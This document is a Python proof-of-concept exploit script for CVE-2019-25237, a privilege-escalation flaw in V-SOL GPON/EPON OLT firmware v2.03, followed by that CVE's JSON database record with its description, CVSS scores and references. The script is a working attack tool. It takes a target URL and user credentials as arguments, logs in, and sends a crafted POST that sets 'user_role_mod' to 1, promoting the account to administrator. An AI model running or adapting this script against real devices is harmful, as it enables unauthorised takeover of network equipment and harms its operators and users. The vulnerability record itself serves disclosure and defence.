CVE-2019-25237

#!/usr/bin/env python3 """ CVE-2019-25237 PoC - V-SOL GPON/EPON OLT Privilege Escalation Target: V-SOL GPON/EPON OLT Platform v2.03 Vulnerability: Normal users can escalate privileges by manipulating user_role_mod parameter CVSS Score: 9.8 (Critical) """ import requests import sys import argparse def exploit_privilege_escalation(target_url, username, password): """ Exploit CVE-2019-25237 by sending a crafted HTTP POST request to elevate user privileges to administrator. """ # Login endpoint login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } print(f"[*] Attempting login to {target_url}...") session = requests.Session() try: login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed - check credentials") return False print("[+] Login successful!") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Privilege escalation payload escalate_url = f"{target_url}/api/user_management" escalate_data = { "user_role_mod": 1, # 1 = administrator role "username": username } print(f"[*] Sending privilege escalation payload...") print(f"[*] Setting user_role_mod=1 for user: {username}") try: escalate_response = session.post(escalate_url, data=escalate_data, timeout=10) if escalate_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] User now has administrator privileges") return True else: print(f"[-] Exploitation failed - Status: {escalate_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2019-25237 Exploit") parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://192.168.1.1)") parser.add_argument("-u", "--username", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") args = parser.parse_args() exploit_privilege_escalation(args.target, args.username, args.password)

{"cve": {"id": "CVE-2019-25237", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:51.380", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "V-SOL GPON/EPON OLT Platform v2.03 contains a privilege escalation vulnerability that allows normal users to gain administrative access by manipulating the user role parameter. Attackers can send a crafted HTTP POST request to the user management endpoint with 'user_role_mod' set to integer value '1' to elevate their privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/47435", "source": "[email protected]"}, {"url": "https://www.vsolcn.com", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5538.php", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5538.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}